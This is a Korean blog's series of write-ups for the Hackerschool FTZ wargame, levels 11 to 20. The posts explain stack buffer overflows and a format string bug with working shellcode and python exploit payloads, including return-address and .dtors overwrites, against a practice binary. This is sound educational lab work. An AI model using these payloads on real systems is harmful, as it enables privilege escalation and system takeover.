'해커스쿨 FTZ'에 해당되는 글 20건

level20

해커스쿨 FTZ 2018. 4. 4. 14:19

FTZ의 마지막. LEVEL20의 hint이다. 보면 bleh의 크기가 80이고 fgets에서 79바이트만 읽고 있기 때문에 BOF를 하는것은 불가능 해 보인다.


대신 그 아래 printf(bleh);를 자세히 보자.


평소에 c언어로 코딩을 할 때, 우리는 보통





처럼 사용해왔다. 여기서 %d, %s등의 표기를 포맷스트링이라고 한다.


%d : 정수형 10진수 상수(integer)

 

%f : 실수형 상수(float)

%lf : 실수형 상수(double)

 

%c : 문자 값(char)

%s : 문자 스트링((const)(unsigned) char *)

 

%u : 양의 정수(10진수)

%o : 양의 정수(8진수)

%x : 양의 정수(16진수)

 

%n : int *(쓰인 총 바이트 수를 저장할 정수형 포인터)

%hn : %n의 반인 2바이트 단위




왜 이런 형태로 코딩을 하여야 할까?


이유는 attackme의 코드에서 확실히 볼 수 있다.


한번 attackme에다가 포맷스트링을 넘겨보자.



보다시피 AAAA는 그대로 출력되지만 %x는 이상한 값이 나온다,


이는 %x에 해당하는 값이 전달되지 않았기 때문이다. %x는 값이 전달되지 않으면 알아서 현재주소에 4byte(1워드)만큼 스택에서 POP한다.


따라서 스택의 상태를 해커가 볼 수 있게 되는것이다.


한번 %x를 여러번 넣어보았다.



출력 4번쨰에서 41414141이 보인다. 0x41은 아스키코드로 'A'를 의미하므로 내가 지금 입력한 AAAA가 12바이트 떨어져 있다는 것을 알 수 있다.


이런 오류를 포맷스트링버그(Format String Bug,FSB)라고 부른다.



그럼 이것들을 가지고 어떻게 쉘 권한을 얻을 수 있을까?




이 버퍼에 값을 넣고 ret값을 수정하여도 가능하긴 하지만, 

Level20의 attackme는 gdb에서 disas main으로 열어볼 수가 없다.

따라서 기존 ret값을 구하기는 어렵다.


이런 부분에서 쓰이는 것이 있는데 .dtors라는 것이다.


리눅스에서 프로그램을 실행하면 자동으로 실행되는 것이 있다.

프로그램이 켜질때 .ctors ; 프로그램이 종료될 때 .dtors



따라서 우리는 .dtors를 덮어써서 쉘코드를 실행시킬 것이다.



우선 환경변수를 만든다.

'export SHELL=`python -c 'print "A"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

그리고 환경변수의 주소를 얻는다.



컴파일 후 실행 해 보면



환경변수가 0xbffffc2a인것을 알았다.


그러면 이번엔 .dtors의 주소를 알아보자.

알아보는 명령어는 다음과 같다.


objdump -h [파일명] | grep .dtors



결과를 보면 두번째와 세번째가 같은것을 볼 수 있다. 이것이 .dtors의 주소이다.

(커널프로그램의 경우 두개가 다른 경우도 있다고 한다. 하지만 이번 문제와는 관련이 없으니 패스.)


그럼 저 .dtors에 쉘코드를 넣어보자.


공격하는 코드는

(python -c 'print "AAAA" + "[.dtors주소 + 4]" + "AAAA" + "[.dtors 주소 + 6]" + "%8x"*3 + "%[정수]c%n" + "%[정수]c%n"'; cat) | ./attackme

이다.


여기서 [정수]에 뭘 넣어야 할지 설명하기 전에 %[정수]c 뒤에 붙은 %n부터 알아보자


%n은 포맷스트링 중에 하나다. 위쪽 표를 잘 읽어본 사람은 이미 알겠지만 


%n : int *(쓰인 총 바이트 수를 저장할 정수형 포인터)


%n은 쓰인 총 바이트 수를 저장하는 역할을 한다. 즉



를 실행하면 count에 hackerschool의 글자수가 저장된다는 것이다.

이를 포맷스트링버그에 응용하면 %n이 앞의 입력된 바이트수를 현재 주소 다음 4byte에 저장하게 할 수 있다.


따라서 우리는 이 %n을 가지고 우리가 설정한 환경변수의 주소를 입력할 것이다.


환경변수의 주소가 0xbffffc2a인데 이는 십진수로 바꾸면3221224490로 4바이트로 표현할 범위를 넘어가 버린다. 이를 해결하기위해 우리는 상단의 반과 하단의 반을 나눠서 넣을 것이다.


뒤의 fc2a는 십진수로 64554이다.


위쪽에서 입력한대로 

(python -c 'print "AAAA" + "[.dtors주소 + 4]" + "AAAA" + "[.dtors 주소 + 6]" + "%8x"*3 + "%[정수]c%n" + "%[정수]c%n"'; cat) | ./attackme


를 입력하면

"AAAA" 4바이트 + .dtors 주소 4바이트 + "AAAA"4바이트 + ".dtors 주소 4바이트" + %8x *3 24바이트 

= 4 + 4 + 4 + 4 + 24 = 40이다


즉 앞쪽에 이미 40바이트가 입력되어 있었으므로 우리는 64554에서 40만큼을 빼줘야 한다. 즉 첫번째 [정수]는 64514가 될 것이다.


그렇다면 두번째 정수는 어떨까 0xBFFF는 49151로 이미 입력된 64554보다 작다. 

이를 해결하기위해 보수방식 계산을 한다.

BFFF앞에 1을 붙혀 1BFFF에서 64554를 빼는것이다.


계산결과 50133이 나온다.

즉 두번째 정수는 50133이 된다.

해당코드를 실행해 보면



처럼 클리어한 것이 나온다!


끄으읏!!!

(나중에 선배들에게 질문할게 많다)

'해커스쿨 FTZ' 카테고리의 다른 글

level19  (0) 2018.04.03
level18  (0) 2018.04.02
level17  (0) 2018.04.02
level16  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
블로그 이미지

천재보다는 범재

,

level19

해커스쿨 FTZ 2018. 4. 3. 14:55


이번 level의 힌트이다. 코드가 매우 간단해서 '엥? 레벨19가 이렇게 쉽다고?' 라고 생각할 수도 있으나, 자세히 보면 이번코드에는 setreuid가 없다. 즉 전처럼 25byte짜리 쉘코드로는 level20의 권한을 얻을 수 없다는 뜻이다.


우선은 메모리를 얼마나 할당받는지 확인해 보자

0x28은 10진수로 40이므로 SFP를 포함해서 44바이트를 오버플로우시키면 될 것이다.






위 사진을 보면 알 수 있다. 맞게 오버플로우 했음에도 불구하고 uid가 그대로인 것을 볼 수 있다.


그래서 setreuid를 실행하는 쉘코드 

'\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80'


를 추가하였다.




환경변수의 주소를 구했으니 오버플로우 한다.




'해커스쿨 FTZ' 카테고리의 다른 글

level20  (0) 2018.04.04
level18  (0) 2018.04.02
level17  (0) 2018.04.02
level16  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
블로그 이미지

천재보다는 범재

,

level18

해커스쿨 FTZ 2018. 4. 2. 21:17

이번 힌트는 너무 길어서 한 화면에 담을 수 없어서 직접 복사해 왔다.


#include <stdio.h>
#include <sys time.h="">
#include <sys types.h="">
#include <unistd.h>
void shellout(void);

int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count &gt;= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&amp;fds);
          FD_SET(STDIN_FILENO,&amp;fds); 
 
          if(select(FD_SETSIZE, &amp;fds, NULL, NULL, NULL) &gt;= 1)
            {
             
                  read(fileno(stdin),&amp;x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}   



엄청나게 복잡해 보이는 코드들이다.

하지만 코드의 대부분이 오류확인하는 부분이다.


가장 이해하기 어려웠던 if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)의 경우 

fds가 SET되어있는지 확인하는 구문으로 결국 위에서 FD_SET(STDIN_FILENO,&fds);을 해 줬으므로 return값은 1이상일 것이다.



결국 if문은 당연히 참이 나오는 것이고 




이 코드가 관건이다.


read(fileno(stdin),&x,1);은 표준입력으로 x에다 1글자씩 넣는다는 뜻이다.


스택 구조상 string의 버퍼가 check보다 위쪽에 위치하므로 check를 덮어쓰기 위해서는 주소를 거슬러 올라가야한다.



마침 switch에 count--;과 string[count]=x;가 보인다.


즉 count--를 4번 실행하고 0xdeadbeef를 넣어주면 check가 덮어쓰여지게 될 것이다.


count--를 하기위해선 x가 0x08이어야 하므로

\x08을 4번 실행하고 0xdeadbeef를 리틀엔디안으로 넣어주면 쉘을 획득할 수 있다.

'해커스쿨 FTZ' 카테고리의 다른 글

level20  (0) 2018.04.04
level19  (0) 2018.04.03
level17  (0) 2018.04.02
level16  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
블로그 이미지

천재보다는 범재

,

level17

해커스쿨 FTZ 2018. 4. 2. 18:51

level17은 지금까지 푼 BOF문제(level11~)중에 가장 빠르고 쉽게 풀었던 것 같다.


코드를 분석하자면 *call이 printit함수의 주소를 가리키고, fgets에서 입력을 받은뒤 call을 실행하는 구조이다.



main을 disassemble해보니 이번에도 역시 ebp-16이 보이는걸 알 수 있다.

이번에도 역시 40자리를 A로 채우고 그 뒤의 ret을 오버플로우 하면 되는 것으로 보인다.


이번엔 코드 내부에 /bin/sh를 실행하는 코드가 없으므로 쉘코드를 환경변수로 만들었다.



그리고 이 환경변수의 주소를 알아보기 위해 간단한 코드를 짰다.




gcc로 컴파일 한 후 실행해 보니



이 환경변수의 주소가 0xbffffc2e인것을 알 수 있었다.


따라서 40자를 채운 후 이 환경변수로 ret을 바꾸면 쉘을 얻을 수 있다.



'해커스쿨 FTZ' 카테고리의 다른 글

level19  (0) 2018.04.03
level18  (0) 2018.04.02
level16  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
level14  (0) 2018.03.28
블로그 이미지

천재보다는 범재

,

level16

해커스쿨 FTZ 2018. 4. 2. 17:32

이번문제의 힌트 또한 한 프로그램이다.


먼저 shell() 이라는 함수를 선언하는데 이 함수는 setreuid를 통해 level17의 권한으로 /bin/sh를 실행시켜주는 함수다.


딱 봐도 이 함수를 실행시키면 문제가 풀리도록 되어있따.


두번째 함수는 printit()이다. 이 함수는 "Hello there!"을 출력하고 종료하도록 되어있다.


main의 경우는 void (*call)()=printit; 이 뭘 의미하는지 확실히는 모르지만 맥락상 *call이 printit함수의 주소를 가리키도록 되어있는것 같다.


그 밑에 buf[20]이 선언되어 있고, fgets가 버퍼 이상을 입력받으므로 *call을 오버플로우 할 수 있을거라 예상했다.



이 경우에도 공간은 총 0x38, 즉 56이 할당되었고, main+16에서 ebp-16으로 값을 넣는걸 보니 40byte만큼 입력 후 shell() 함수의 주소를 넣으면 될 것 같았다.


gdb에서 shell의 주소를 보았더니


주소가 0x080483ec인것을 확인할 수 있었다.



따라서 코드를 (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat)|./attackme 로 짜고 실행해서 쉘을 획득했다.




'해커스쿨 FTZ' 카테고리의 다른 글

level18  (0) 2018.04.02
level17  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
level14  (0) 2018.03.28
level13  (0) 2018.03.28
블로그 이미지

천재보다는 범재

,

LEVEL15

해커스쿨 FTZ 2018. 3. 29. 21:58

 

먼저 hint파일을 열어보면 level14와 유사한 코드를 볼 수 있다.

 

 

코드가 완전 똑같은데 check앞에 *가 붙은 것을 볼 수 있다.

 

변수 앞에 *가 붙으면 포인터를 의미한다.

 

tmp로 코드를 복사한 후 컴파일 해 보았다.

 

 

gdb에서  intel형식으로 보면 level14와 아주 유사하지만 main+32에서 DWORD PTR [eax], 0xdeadbeef라고 바뀐것을 볼 수 있다.

 

이 어셈블리코드를 해석하자면 eax가 가리키는 주소에 있는 값고 0xdeadbeef를 비교하라는 뜻인데 바로 위 main+29를 보면

mov eax, DWORD PTR [ebp-16]을 볼 수 있다.

즉 EBP값의 16바이트 전의 주솟값을 의미한다.

 

level14와 같은 위치이므로

level14와 마찬가지로 A 40개를 넣고 0xdeadbeef를 입력하면 될 줄 알았다.

 

 

 

level14와 다른점은 포인터로 바뀌었다는 것 뿐인데 결과값이 달라서 포인터에 대해 다시 공부해 보았다.

 

이 코드에서 스택의 상태는

ret
sfp
crap
check
buf[20]

일 것이다

만약 check의 주소가 0x804123라고 하면

 

level14에서는
0x804123에 0xdeadbeef를 넣으면 해결되었지만 

*check의 경우  0xdeadbeef를 넣는다고 해결되지 않는다.

 

예를 들어보자

int a = 3;     //a가 0x8048af00에 할당되었다고 하자.
int *p = a;    // p는 a의 주솟값인 0x8048af00를 가질것이다

 

*p == 3     // 이 경우   0x8048af00이라는 주소에 3이 저장되어 잇으므로 

               //  3 == 3 true가 될 것이다.
p == 3      // 이 경우는 8048a00 == 3 이 되므로 false가 될 것이다.

 

 

따라서 이번문제는 check가 가리키는 주소값에 존재하는 값이 가리키는 주소에 있는 값과 0xdeadbeef가 같아야 하는 문제이다.

level14와 마찬가지로 환경변수로 0xdeadbeef를 넣고 주소값을 가져왔다.

 

환경변수가 저장된 값이 0xbffffc9e인것을 확인했다.

 

그리고 level14처럼 A40개와 환경변수의 주소를 입력하자 쉘을 얻을 수 있었다.

 

 

'해커스쿨 FTZ' 카테고리의 다른 글

level17  (0) 2018.04.02
level16  (0) 2018.04.02
level14  (0) 2018.03.28
level13  (0) 2018.03.28
level12  (0) 2018.03.28
블로그 이미지

천재보다는 범재

,

level14

해커스쿨 FTZ 2018. 3. 28. 16:52

이번 문제의 힌트는

이다.


스택 구조상 



buf

check

crap

으로 되어있을것이므로 fgets를 이용해 check부분을 0xdeadbeef로 오버플로우시키면 쉘을 얻을 수 있을 것이다.



메인을 디스어셈블해보면 main+3에 sub 0x38이 보인다. 이는 십진수로 56이다.


코드상으론

int 형 변수 2개와 char 형 buf[20]이 선언되었으므로 4+4+20 총 28이 선언되었지만 실제론 56이 할당된걸 볼 수 있다.


스택이


---------------

buf

---------------

check

---------------

crap

---------------

dummy

---------------

sfp(여긴 계속 까먹..)

---------------

ret


처럼 되어있다면 간단하게 20바이트를 채우고 0xdeadbeef를 넣겠지만

사실 더미값은 변수들 사이사이에도 있다.


이를 알아보기 위해 한참 뒤져보다가

한 선배의 도움으로

set disassembly-flavor intel

이라는 명령어를 알게 되었다.


이 설정을 해주고 disas main을 해주면 

코드가 이렇게 ollydbg에서 보던 익숙한 모습으로 보이게 되는데

여기서 cmp가 있는 main+29를 보면 0xdeadbeef와 ebp-16을 비교하는 것을 볼 수 있다.


총 할당된것이 56인데 그중 -16해서 비교하는 것을 보면 check가 뒤에서 16바이트 전에 위치함을 알 수 있었다.


그리해서 아무값이나 40바이트 채우고 0xdeadbeef를 입력하였다.

그러자 쉘을 얻을 수 있었다.

'해커스쿨 FTZ' 카테고리의 다른 글

level16  (0) 2018.04.02
LEVEL15  (0) 2018.03.29
level13  (0) 2018.03.28
level12  (0) 2018.03.28
level11  (0) 2018.03.27
블로그 이미지

천재보다는 범재

,

level13

해커스쿨 FTZ 2018. 3. 28. 14:59

이제는 거의 공식이 되어버린 hint파일로 컴파일하기...

우선 gdb로 main을 디스어셈블해보았다.


main+3의 0x418은 demical로 1048이다. 코드에서 요청한 1024에 더미 24가 추가된것을 볼 수 있다.


그리고 밑에 main+19를 보면 long i =0x1234567이 그대로 들어가는 것을 볼 수 있다.


main+76에 bp를 걸고 run해보았다.



입력한 A들이 0xbfffeb00부터 입력되어 있는것을 알 수 있다.


i가 어디저장되어있는지 찾기 위해 A를 1024개 입력해 보았다.



0xbfffef40: 줄에 마지막에 0x01234567이 있는것이 보인다. 이것이 수정되면

이렇게 버퍼오버플로우가 되었다고 하면서 프로세스를 kill해버린다.


그래서 0x01234567의 위치를 고려해서

`python -c 'print "\x90"*950 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*61 + "\x67\x45\x23\x01" + "\x90"*12 + "\x50\xeb\xff\xbf"'`

로 파이썬 코드를 짰다.


사실 환경변수를 사용하기에 중간에 쉘코드를 넣을 필요는 없었지만 처음엔 메모리 내에 ret해서 실행해보고자 하였기에 코드가 저렇게 되었다.


환경변수를 설정하고

주소를 찾는 코드를 짜고


ret을 해당 주소로 오버플로우 햇더니 쉘을 얻을 수 있었다.


해결!

'해커스쿨 FTZ' 카테고리의 다른 글

LEVEL15  (0) 2018.03.29
level14  (0) 2018.03.28
level12  (0) 2018.03.28
level11  (0) 2018.03.27
level10  (0) 2018.03.26
블로그 이미지

천재보다는 범재

,

level12

해커스쿨 FTZ 2018. 3. 28. 13:54

이번에도 hint파일을 tmp폴더에 복사해서 컴파일 했다.


이번에는 gets함수가 있다. 컴파일할떄 gets를 쓰지 말라고 할 정도로 위험한 함수라고 한다.


우선 gdb로 main을 보았다.


보면 main+66에 gets함수가 있는 것을 볼 수 있다.

그 바로밑인 main+71에 BP를 걸고 run해 보았다.


264byte이상을 입력해서 segmentation fault가 뜬 것 같다.


이 상태에서 esp를 확인해 보았다.


0xbfffdf60부터 0x41이 반복되는 것을 볼 수 있다.


0x41은 아스키코드상 A를 의미하므로 내가 입력한 값인 것을 알 수 있다.



이를 이용하여 0xbfffdf60부터 243바이트를 0x90으로 채우고 나머지 25바이트를 쉘코드를 채운 후 ret을 0xbfffdf60로 오버플로우 하였다.


그러자 이상한 문장이 뜨며 No such file or directory가 뜬다.


혹시나 gdb를 다시돌려보니 0x41이 시작하는 주소값이 계속 변하는걸 볼 수 있었다. 어떻게 해결할지 고민하던중 환경 변수에 대해 알게 되었다.




이렇게 SHELLCODE라는 환경변수를 만들었다. 구조는 \x90 243개 후 쉘코드를 넣었다.


그리고 이 환경변수의 주소를 알아야 하기 때문에

이렇게 주소를 출력하는 프로그램을 코딩, 컴파일 하였다.


이렇게 주소가 0xbfffb37이라는 것을 알았으니 이제 BOF를 다시 해보았다.


'A' 268개로 sfp까지 모두 덮은 후 ret에다가 환경변수의 주소를 넣었다.


그랬더니 왼쪽에 쉘표시가 뜨지는 않지만 권한을 얻었고, 비밀번호도 알 수 있었다.


ps. 첫번째 방법으로 어떻게 하는지 아직도 잘 모르겠다. level11의 경우는 그냥 r하고나서 x/1000x $esp하면 esp를 보여줬는데 이번문제는 r하고 나서 문자열 입력하고 나면 프로그램이 아얘 종료되는지 esp가 나오지 않았다.

'해커스쿨 FTZ' 카테고리의 다른 글

level14  (0) 2018.03.28
level13  (0) 2018.03.28
level11  (0) 2018.03.27
level10  (0) 2018.03.26
level9  (2) 2018.03.26
블로그 이미지

천재보다는 범재

,

level11

해커스쿨 FTZ 2018. 3. 27. 19:49

문제가 어려워지기 시작한다고 정평이난 LEVEL11번이다.

 

level11의 힌트에서는 한 코드를 보여준다.

맥락상 attackme파일의 코드인 듯 하다.

 

우선 코드상

setreuid()

strcpy()

printf()

가 보인다.

 

setreuid는 setuid를 설정하는 것으로 3092는 level12의 uid이다.

strcpy는 argv[1](입력받은 파라미터) 를 앞서선언한 str[256]에 그대로 복사하는 함수인데, 이 함수는 크기를 확인하지 않고 붙혀넣는다는 취약점이 있다.

이것을 이용해 버퍼오버플로우를 일으킬 수 있을 것이다.

 

 

이 중

 

main의 디스어셈블을 보면 setreuid나 strcpy, printf 등 hint에서 보인 함수들의 이름이 보인다.

 

내용을 보면 sub 0x108이 보이는데 코드의 처음에서 char str[256]을 선언한것을 보아 이 공간이 str이 할당된 것으로 보였다. 0x108은 16진수로 264이다. 따라서 256바이트에 8바이트의 더미가 생긴것을 확인했다.

 

뒤의 push 0xc14는 setreuid에 넘겨주는 패러미터다  0xc14는 십진수로 3092로 코드내의 setreuid( 3092, 3092 );와 일치한다.

 

그런데 이 gdb 상태에서는 run을 하면 실행이 실패한다.

 

검색을 해보니 권한이 없어서 안된다고 해서 하위 tmp폴더에 hint파일을 복사해서 gcc로 컴파일 하였다.

 

이렇게 해보니 실행이 됨을 알 수 있었다.

 

이 프로그램은 str[256]이 더미까지 총 264바이트를 할당받으므로 ret주소는 264바이트 + 4바이트 후에 있을 것이다.

사실 시작값을 확실히 구하기는 어려우므로 버퍼를 0x90(NOP)로 가득채운다.

NOP를 만나면 아무 연산을 하지 않고 다음 코드가 들어올때까지 프로그램이 진행되므로 그 중간에 쉘코드를 넣어두고 ret을 그 이전 주소로 설정하면 NOP를 지나서 쉘코드가 진행될 것이다.

 

NOP가 시작되는 곳을 알아보기위해 strcpy앞에 breakpoint를 설정하고

r `python -c 'print "\x90"*243+"a"*25+"\x90\x90\x90\x90"'`를 실행했다.


프로그램을 실행한 후 'nexti'로 진행해 esp를 확인해 보았다.

 

 

코드가 실행된 후 패러미터로 넘겨준대로 0x90 243개와 'A' 25개 후 0x90이 나오는걸 볼 수 있다. 그렇다면 0x90이 시작하는 0xbfffe050을 ret으로 설정하면 될거라 생각했다.

(인터넷에서 구한 쉘코드가 25바이트이기 때문에 25바이트를 A로 대체하였다.)

 

구한 쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80이다.

 

 

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xe0\xff\xbf"'`
를 실행했는데 Segmentation fault 가 떴다.

 



다시 gdb를 실행해서 esp를 2000까지 보았는데







0x90 이 반복되는 것을 발견했다.


쉘코드 25바이트를 넣고 0xbffffb30을 ret으로 오버플로우 하면 될 것 같았다. 




실행했더니 성공한 것을 확인했다.

'해커스쿨 FTZ' 카테고리의 다른 글

level13  (0) 2018.03.28
level12  (0) 2018.03.28
level10  (0) 2018.03.26
level9  (2) 2018.03.26
level8  (0) 2018.03.26
블로그 이미지

천재보다는 범재

,